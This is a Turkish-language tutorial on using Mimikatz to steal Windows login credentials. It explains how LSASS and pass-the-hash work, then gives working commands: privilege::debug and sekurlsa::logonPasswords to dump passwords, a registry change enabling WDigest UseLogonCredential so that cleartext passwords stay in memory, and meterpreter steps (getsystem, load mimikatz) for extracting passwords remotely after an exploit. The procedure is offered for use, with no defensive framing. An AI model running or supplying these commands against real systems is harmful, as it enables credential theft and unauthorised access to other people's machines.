Mimikatz, windows işletim sistemlerine yapılan Pass-The-Hash ataklarında kullanılan açık kaynak kodlu bir araçtır. Temel olarak “mimilib.dll” ve “mimidrv.sys” adlı dosyalar yardımıyla işlevlerini gerçekleştirir.
Mimilib;
SSP oturum paketlerine erişim, Windows üzerinde bulunan AppLocker yazılımını bypass etme, şifreleri filtreleme gibi görevlere sahiptir.
Mimidrv;
Windows kernel ile Mimikatz arasındaki etkileşimi sağlayan driverdır. Mimikatz’i çalıştırabilmek için admin veya sistem kullanıcısına ihtiyaç vardır. Stabil çalışabilmesi için LSASS işlemi ile etkileşebilmesi ve hata ayıklama yetkilerine sahip olması gereklidir.
Mimikatz’in indirme bağlantıları
Mimikatz Kaynak Kodları
Mimikatz Release
Windows işletim sistemlerinde login esnasında kullanıcı adı ve şifrenin kontolü System32 dizininde yer alan LSASS.exe (Local Security Authority Subsystem Service) adlı uygulama tarafından yapılır. LSASS.exe, windows sistemlerde yer alan kullanıcı işlemlerinden ve kimlik yönetiminden sorumludur.
Windows’da oturum kontrolü, giriş yapılan verilerin SAM tablosundaki veriler ile karşılaştırılmasıyla sağlanır. Karşılaştırma sonucunda veriler örtüşüyorsa kullanıcının sisteme girişi sırasında girilen oturum parolası hash’lenerek bellekte tutulur. WCE gibi yazılımlar verilerin saklandığı bellek alanındaki hash’i okuyup herhangi bir başka LSASS oturumuna enjekte ederek kontrol mekanizmasını bypass ederler.

Mimikatz, meterpreter ile birlikte de çalışabilmektedir. Mimikatz hedef bilgisayarda fiziksel erişim ile çalıştırılır.
privilege::debug
komutu ile özel haklar alınır.

sekurlsa::logonPasswords
ile kullanıcı adı, domain, parola gibi bilgileri çekilir.

sekurlsa::logonPasswords
Microsoft Win 8.1 ile bu açığı kısmende olsa kapattığından dolayı Windows 8.1 ve 10 sürümlerinde Mimikatz parolayı bulmaya çalıştığında parola null (boş) olarak görünebilmektedir.

Windows 8.1 ve 10’da Regedit ayarı ile devre dışı bırakılmış olan oturum açma parolası clear-text olarak görülebilmektedir.
Regedit içerisinde HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\

Admin haklarıyla Windows Shell’i açılıp;
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Kayıt defterini UseLogonCredential” DWORD değerini 1 olarak eklendi.

Şuan bellekten parolanın alınabilmesi için parolanın yeniden girilmesi gereklidir ve oturumu kapatıp açmak yeterli olacaktır.
Mimikatzı yeniden açıldığında bu sefer null yerine kullanıcı parolasını getirmektedir.

Fiziksel erişim sağlanamayan fakat meterpreter ile erişim sağlanabilen sistemlerde de clear-text olarak Mimikatz aracı ile kullanıcı şifresi elde edilebilir.
Her hangi bir açık kullanılarak meterpreter payload‘u ile erişim sağlanır.
Yerel yönetici kullanıcısından SYSTEM kullanıcısına geçip “Mimikatz” modülü konsola import edilir.
meterpreter > getsystemmeterpreter > getuidmeterpreter > load mimikatz

Windows oturum parolalarınn bellekten hash formatında alınıp kırılarak, clear-text formatında çıktı olarak alınabilmesi için;mimikatz_command –f sekurlsa::logonPasswords –a “full”
